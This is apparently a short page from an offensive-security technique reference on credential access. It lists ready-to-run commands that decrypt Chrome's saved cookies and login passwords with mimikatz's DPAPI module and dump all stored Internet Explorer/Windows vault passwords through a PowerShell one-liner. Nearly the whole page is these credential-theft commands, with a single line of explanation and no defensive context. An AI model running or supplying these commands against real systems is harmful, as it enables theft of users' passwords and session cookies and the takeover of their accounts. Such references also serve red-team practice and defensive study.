> For the complete documentation index, see [llms.txt](https://www.xenov.co.uk/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.xenov.co.uk/techniques/credential-access/chrome-cookies-and-passwords.md).

# Browser cookies & passwords

## Chrome

When running as the current user, the /unprotect flag will use the current keys to decrypt the DPAPI data.

### Cookies

```
mimikatz dpapi::chrome /in:”%localappdata%\Google\Chrome\User Data\Default\Cookies” /unprotect
```

### Saved login data

```
mimikatz dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
```

## Internet Explorer

```
powershell echo "Begin";[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault; $vault.RetrieveAll() | % { $_.RetrievePassword();echo $_; };echo "Done"
```